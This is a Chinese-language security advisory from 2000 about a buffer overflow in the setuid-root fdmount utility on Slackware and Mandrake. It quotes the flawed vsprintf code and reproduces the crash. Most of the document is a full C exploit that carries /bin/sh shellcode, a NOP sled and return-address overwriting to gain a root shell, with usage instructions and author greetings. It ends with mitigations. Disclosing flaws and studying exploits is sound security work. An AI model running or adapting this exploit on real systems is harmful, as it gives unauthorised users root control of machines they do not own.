发布日期：2000-05-24
更新日期：2000-05-24

受影响系统：

Slackware 7.0
Slackware 4.0
Mandrake 7.0

不受影响系统：

RedHat 6.x
Debian 2.1, 2.2, 2.3

描述：

---

fdmount在Slackware 7.0下缺省被设置了suid root位，只有'floppy'组的成员才可
执行。它存在一个缓冲区溢出问题，'floppy'组的成员可以获得root权限。

有问题的代码在msg()函数中：
void msg(char *text,...) {
   char buff[80];
   va_list p;
   va_start(p,text);
   vsprintf(buff,text,p); //将text直接拷贝到静态buff中
   va_end(p);
   printf("%s (%s): %s\n",progname,curdev,buff);
}

用户如果输入一个很长的mount点参数，将导致fdmount发生堆栈溢出：

# fdmount fd0 `perl -e 'print "A"x70'`
fdmount (/dev/fd0): Can't access /root/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory

Segmentation fault

<* 来源：Arend-Jan Wijtzes <aj@AJ.NU> *>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*
   Welcome dear reader - be it scriptkiddy, whose sole intent it is to
   destroy precious old Unix boxes or Assembly Wizard whose sole intent it
   is to correct my code and send me a flame.

   The fdutils package contains a setuid root file that is used by the floppy
   group to mount and unmount floppies. If you are not in this group, this
   exploit will not work.

   This thingy was tested on Slackware 4.0 and 7.0

   Use as: fdmount-exp [offset] [buf size] [valid text ptr]

   Since the char * text is overwritten in void errmsg(char *text) we should
   make sure that this points to a valid address (something in the .data
   section should do perfectly). The hard coded one used works on my box,
   to find the one you need use something like:

   objdump --disassemble-all $(whereis -b fdmount) | grep \<.data\> \
   cut -d " " -f1

   The HUGE number of nops is needed to make sure this exploit works.
   Since it Segfaults out of existence without removing /etc/mtab~ we
   only get one try...

   Take care with your newly aquired EUID 0!

   Cheers go out to: #phreak.nl #b0f #hit2000 #root66
   The year 2000 scriptkiddie award goed to: Gerrie Mansur
   Love goes out to: Hester, Maja (you're so cute!), Dopey

   -- Yours truly,
        Scrippie - ronald@grafix.nl - buffer0verfl0w security
                                            - #phreak.nl
*/

#include <stdio.h>

#define NUM_NOPS 500

// Gee, Aleph1 his shellcode is back once more

char shellcode[] =
   "\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp, %eax");
}

main(int argc, char **argv)
{
   int buf_size = 71;
   int offset=0, i;

   char *overflow;
   char *ovoff;
   long addr, ptr=0x0804c7d0;

   if(argc>1) offset = atoi(argv[1]);
   if(argc>2) buf_size = atoi(argv[2]);
   if(argc>3) ptr = strtol(argv[3], (char **) NULL, 16);

   printf("##############################################\n");
   printf("# fdmount Slack 4/7 exploit  -  by Scrippie  #\n");
   printf("##############################################\n");
   printf("Using offset: %d\n", offset);
   printf("Using buffer size: %d\n", buf_size);
   printf("Using 0x%x for \"void errmsg(char *text,...)\" char *text\n", ptr);

   if(!(overflow = (char *)malloc(buf_size+16+NUM_NOPS+strlen(shellcode)))) {
      fprintf(stderr, "Outta memory - barging out\n");
      exit(-1);
   }

   overflow[0] = '/';

   for(i=1;i<buf_size;i++) {
      overflow[i] = 0x90;
   }

   addr = get_sp() - offset;

   printf("Resulting address: 0x%x\n", addr);

   memcpy(overflow + strlen(overflow), (void *) &addr, 4);
   memcpy(overflow + strlen(overflow), (void *) &ptr, 4);
   memcpy(overflow + strlen(overflow), (void *) &ptr, 4);
   memcpy(overflow + strlen(overflow), (void *) &ptr, 4);

   ovoff = overflow + strlen(overflow);

   for(i=0;i<NUM_NOPS;i++) {
      *ovoff = 0x90;
      *ovoff++;
   }

   strcpy(ovoff, shellcode);

   execl("/usr/bin/fdmount", "fdmount", "fd0", overflow, NULL);

   return 0;
}


建议：

---

临时解决办法：

1. chmod u-s /usr/bin/fdmount
2. 使用 strncpy 或者vsnprintf 代替vsprintf

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